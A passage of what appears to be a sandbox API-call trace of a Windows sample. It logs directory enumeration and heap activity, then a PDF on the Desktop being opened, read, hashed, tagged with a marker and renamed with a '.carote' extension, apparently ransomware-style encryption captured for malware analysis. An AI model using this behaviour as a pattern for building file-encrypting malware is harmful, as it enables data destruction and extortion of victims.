hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.235] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.235] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.236] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c320 [0113.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.236] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.236] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.237] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.237] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.237] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.237] PathFindFileNameW (pszPath="") returned="" [0113.237] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0113.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.238] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.238] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35bc8 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecce8 [0113.238] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f228 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0113.238] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0113.238] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0113.238] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.238] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.238] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.238] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0113.238] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.238] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.238] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.239] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.239] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.239] PathFindFileNameW (pszPath="") returned="" [0113.239] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0113.240] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0113.240] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.241] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.241] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0113.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.241] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.241] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.242] PathFindFileNameW (pszPath="") returned="" [0113.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.242] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.242] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0113.242] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0113.242] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.243] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.243] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\") returned="bFT9ci 8fZ3bljOH\\" [0113.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\") returned="f_-8oBARRP9-U\\" [0113.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0113.243] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.243] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.243] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.243] PathFindFileNameW (pszPath="") returned="" [0113.243] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ee10f0, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x9b376140, ftLastAccessTime.dwHighDateTime=0x1d4cc43, ftLastWriteTime.dwLowDateTime=0x9b376140, ftLastWriteTime.dwHighDateTime=0x1d4cc43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.244] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ee10f0, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x9b376140, ftLastAccessTime.dwHighDateTime=0x1d4cc43, ftLastWriteTime.dwLowDateTime=0x9b376140, ftLastWriteTime.dwHighDateTime=0x1d4cc43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.244] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975764e0, ftCreationTime.dwHighDateTime=0x1d4cd28, ftLastAccessTime.dwLowDateTime=0x5da7d5c0, ftLastAccessTime.dwHighDateTime=0x1d4c91a, ftLastWriteTime.dwLowDateTime=0x5da7d5c0, ftLastWriteTime.dwHighDateTime=0x1d4c91a, nFileSizeHigh=0x0, nFileSizeLow=0xa735, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AL1uDyzyXe3_.pdf", cAlternateFileName="AL1UDY~1.PDF")) returned 1 [0113.245] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\AL1uDyzyXe3_.pdf") returned=".pdf" [0113.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\AL1uDyzyXe3_.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\al1udyzyxe3_.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.246] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=42805) returned 1 [0113.246] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.248] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa70f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.248] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.249] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa735, lpOverlapped=0x0) returned 1 [0113.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.250] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.250] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecce8) returned 1 [0113.250] CryptCreateHash (in: hProv=0x50ecce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.250] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.250] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.250] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.251] GetLastError () returned 0x0 [0113.251] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.251] CryptReleaseContext (hProv=0x50ecce8, dwFlags=0x0) returned 1 [0113.251] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa735, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.251] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.251] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.251] CloseHandle (hObject=0x61c) returned 1 [0113.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\AL1uDyzyXe3_.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\bft9ci 8fz3bljoh\\al1udyzyxe3_.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\bFT9ci 8fZ3bljOH\\AL1uDyzyXe3_.pdf.carote" (normalized: "c:\\users\\5p5nrgjn0js 